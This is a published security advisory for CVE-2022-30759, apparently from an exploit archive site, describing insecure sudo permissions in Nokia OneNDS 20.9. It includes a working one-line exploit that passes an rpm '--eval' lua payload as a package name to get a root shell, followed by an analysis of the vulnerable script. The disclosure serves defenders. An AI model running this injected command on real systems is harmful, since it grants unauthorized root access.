Home[1] Files[2] News[3] &[SERVICES_TAB] Contact[4] Add New[5]
- Nokia OneNDS 20.9 Insecure Permissions / Privilege Escalation[6]
- Authored by Giacomo Sighinolfi[7]
-
Nokia OneNDS 20.9 has loose sudo permissions that can allow users to escalate privileges.
- advisories | CVE-2022-30759[8]
- SHA-256 |
039f9568152fd31aa5f779ebb2810e14455f1fa0c4f2d93d530677863406e264
- Download[9] | Favorite[10] | View[11]
Change Mirror[12] Download[13]
===============================================================================
title: Incorrect Permission Assignment
product: Nokia OneNDS 20.9
vulnerability type: Security Misconfiguration
severity: High
CVSS Score: 7.8
CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
found on: 04/05/2022
by: Giacomo Sighinolfi <Cette adresse e-mail est protégée contre les robots spammeurs. Vous devez activer le JavaScript pour la visualiser. >
cve: CVE-2022-30759
===============================================================================
Some sudo permissions can be exploited by some users to escalate to root
privileges and execute arbitrary commands on the system.
The affected users are:
Provgw, notifs, dbmrun, (system users)
They can run as root the following script:
/opt/cntdb/bin/noscripts_rpm.sh
It can be exploited with:
sudo /opt/cntdb/bin/noscripts_rpm.sh force-erase
"--eval '%{lua:os.execute(\"/bin/sh\")}'"
===============================================================================
Detailed analysis:
The script accept as first argument one of the these options:
install|update|fallback|erase|test-install|test-update|test-erase|
force-install|force-update|force-erase
and as a second argument an arbitrary rpm package name.
If we analyze the switch case code block (row 175) we can see how the first
argument influence the execution of the script.
175. case "$1" in
…
224. test-erase)
225. TEST_OPTION="--test"
226. OPTION="-e"
227. ;;
…
238. force-erase)
239. TEST_OPTION="--nodeps"
240. OPTION="-e"
241. ;;
…
Using “force-erase” or “test-erase” as the first argument, it creates “OPTION”
variable with “-e” as its value. That value allow us to trigger a privilege
escalation exploiting the rpm command (row 254) with a particular rpm package
name as second parameter passed to the script.
…
252. if [ $OPTION == "-e" ]
253. then
254. rpm $OPTION --noscripts $TEST_OPTION $2
…
===============================================================================
File Tags
- ActiveX[19] (932)
- Advisory[20] (80,782)
- Arbitrary[21] (15,968)
- BBS[22] (2,859)
- Bypass[23] (1,660)
- CGI[24] (1,024)
- Code Execution[25] (7,094)
- Conference[26] (677)
- Cracker[27] (840)
- CSRF[28] (3,311)
- DoS[29] (23,002)
- Encryption[30] (2,359)
- Exploit[31] (50,923)
- File Inclusion[32] (4,189)
- File Upload[33] (951)
- Firewall[34] (821)
- Info Disclosure[35] (2,700)
- Intrusion Detection[36] (879)
- Java[37] (2,967)
- JavaScript[38] (834)
- Kernel[39] (6,500)
- Local[40] (14,338)
- Magazine[41] (586)
- Overflow[42] (12,557)
- Perl[43] (1,419)
- PHP[44] (5,113)
- Proof of Concept[45] (2,299)
- Protocol[46] (3,515)
- Python[47] (1,489)
- Remote[48] (30,383)
- Root[49] (3,543)
- Rootkit[50] (505)
- Ruby[51] (604)
- Scanner[52] (1,633)
- Security Tool[53] (7,835)
- Shell[54] (3,146)
- Shellcode[55] (1,210)
- Sniffer[56] (892)
- Spoof[57] (2,187)
- SQL Injection[58] (16,190)
- TCP[59] (2,389)
- Trojan[60] (687)
- UDP[61] (882)
- Virus[62] (663)
- Vulnerability[63] (31,446)
- Web[64] (9,499)
- Whitepaper[65] (3,740)
- x86[66] (948)
- XSS[67] (17,617)
- Other[68]
File Archives
- April 2023[69]
- March 2023[70]
- February 2023[71]
- January 2023[72]
- December 2022[73]
- November 2022[74]
- October 2022[75]
- September 2022[76]
- August 2022[77]
- July 2022[78]
- June 2022[79]
- May 2022[80]
- Older[81]
Systems
- AIX[82] (426)
- Apple[83] (1,966)
- BSD[84] (372)
- CentOS[85] (57)
- Cisco[86] (1,920)
- Debian[87] (6,726)
- Fedora[88] (1,691)
- FreeBSD[89] (1,244)
- Gentoo[90] (4,288)
- HPUX[91] (878)
- iOS[92] (342)
- iPhone[93] (108)
- IRIX[94] (220)
- Juniper[95] (67)
- Linux[96] (45,310)
- Mac OS X[97] (684)
- Mandriva[98] (3,105)
- NetBSD[99] (256)
- OpenBSD[100] (482)
- RedHat[101] (13,022)
- Slackware[102] (941)
- Solaris[103] (1,609)
- SUSE[104] (1,444)
- Ubuntu[105] (8,511)
- UNIX[106] (9,220)
- UnixWare[107] (185)
- Windows[108] (6,539)
- Other[109]
- Services
- Security Services[120]
- Hosting By
- Rokasec[121]